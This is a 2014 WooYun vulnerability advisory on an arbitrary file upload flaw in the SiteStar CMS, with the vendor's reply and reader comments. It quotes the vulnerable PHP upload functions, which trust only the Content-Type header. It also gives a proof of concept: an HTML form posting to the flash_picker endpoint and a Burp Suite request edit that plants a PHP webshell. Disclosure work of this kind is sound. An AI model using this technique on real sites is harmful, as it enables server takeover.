当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2014-48841

漏洞标题: 建站之星任意文件上传漏洞(续二)

相关厂商: 建站之星

漏洞作者: felixk3y

提交时间: 2014-01-14 12:08

公开时间: 2014-04-14 12:09

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件上传 文件上传漏洞 任意webshell

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-14: 细节已通知厂商并且等待厂商处理中
2014-01-15: 厂商已经确认,细节仅向厂商公开
2014-01-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-03-11: 细节向核心白帽子及相关领域专家公开
2014-03-21: 细节向普通白帽子公开
2014-03-31: 细节向实习白帽子公开
2014-04-14: 细节向公众公开

简要描述:

建站之星任意文件上传漏洞(续二)

详细说明:

#1 漏洞产生

/module/mod_media.php

flash_picker() 和 image_picker() 两个函数

image_picker() 函数

code 区域
$typeArr = array('image/jpeg','image/pjpeg');
$flash_typeArr = array('image/jpeg','image/pjpeg');
$file_info =& ParamHolder::get('localfile', array(), PS_FILES);
$file_info['name'] = Toolkit::changeFileNameChineseToPinyin($file_info['name']);
if ( sizeof($file_info) > 0 && isset($file_info['name']) )
{
// 文件大小
if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {
$err = __('Upload size limit').':2M';
// 文件类型
} elseif ( !in_array( $file_info['type'], $typeArr ) ) {
$err = __('Supported file format').':jpg';
}else {
$dest = ROOT.'/upload/image/';
//$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
if (preg_match("/^WIN/i", PHP_OS) && preg_match("/[\x80-\xff]./", $file_info['name'])) {
$file_info['name'] = iconv("UTF-8", "GBK//IGNORE", $file_info['name']);
}
if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {
ParamParser::fire_virus($dest.$file_info['name']);
$wincls = 'OK';
// 图片水印
if( WATERMARK_STATUS ) $this->img_restruck($file_info['name']);
$this->assign('fname', $file_info['name']);
} else { $err = __('Uploading file failed!'); }
}
}



flash_picker()函数

code 区域
$typeArr = array('application/x-shockwave-flash','application/x-download');
$file_info =& ParamHolder::get('localfile', array(), PS_FILES);
if ( sizeof($file_info) > 0 && isset($file_info['name']) )
{
// 文件大小
if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {
$err = '上传大小限制:2M';
// 文件类型
} elseif ( !in_array( $file_info['type'], $typeArr ) ) {
//$err = '支持的文件类型:swf|flv';
$err = '支持的文件类型:swf';
} else {
$dest = ROOT.'/upload/flash/';
$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {
ParamParser::fire_virus($dest.$file_info['name']);
$wincls = 'OK';
$this->assign('fname', $file_info['name']);
} else { $err = '上传失败'; }
}
}



看见了吧 两个函数都只检查了Content-Type参数

你们难道不知道Content-Type参数可以被完全控制吗?

鉴于这两个文件上传比较简单 就不多说了...

漏洞证明:

#2 漏洞利用

将如下代码保存为upload.htm

code 区域
<form enctype="multipart/form-data" method="post" action="http://**.**.**.**/sitestar/index.php?_m=mod_media&_a=flash_picker">
Flash:<input type="file" name="localfile"/>
<input id="Upload" type="submit" value="Upload">
</form>



访问upload.php并上传文件,上传的时候用Burpsuite 抓包 并修改

1.jpg



点击Forward即可在 /upload/flash 下面生成php文件

2.jpg

修复方案:

强烈建议采用统一的上传代码;

对文件进行安全检查时,千万别只检查文件上传的Content-Type参数,这个参数只要抓包就可以对其进行任意修改。

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-01-15 09:01

厂商回复:

安全补丁包之前就已经发布,在管理后台可以直接升级修复.此漏洞在下载版中由于服务器环境不同而存在危险,建议使用我司建站之星下载版的用户在后台进行安全补丁的升级.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-01-14 12:36 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    2

    mark!一楼留名!!

  2. 2014-01-14 22:08 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )
    1

    mark!二楼瓜子!!

  3. 2014-05-02 14:56 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)
    0

    文件名是随机生成的?

  4. 2014-08-29 13:15 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)
    0

    @郭斯特 $file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],"."); 是的

登录后才能发表评论,请先 登录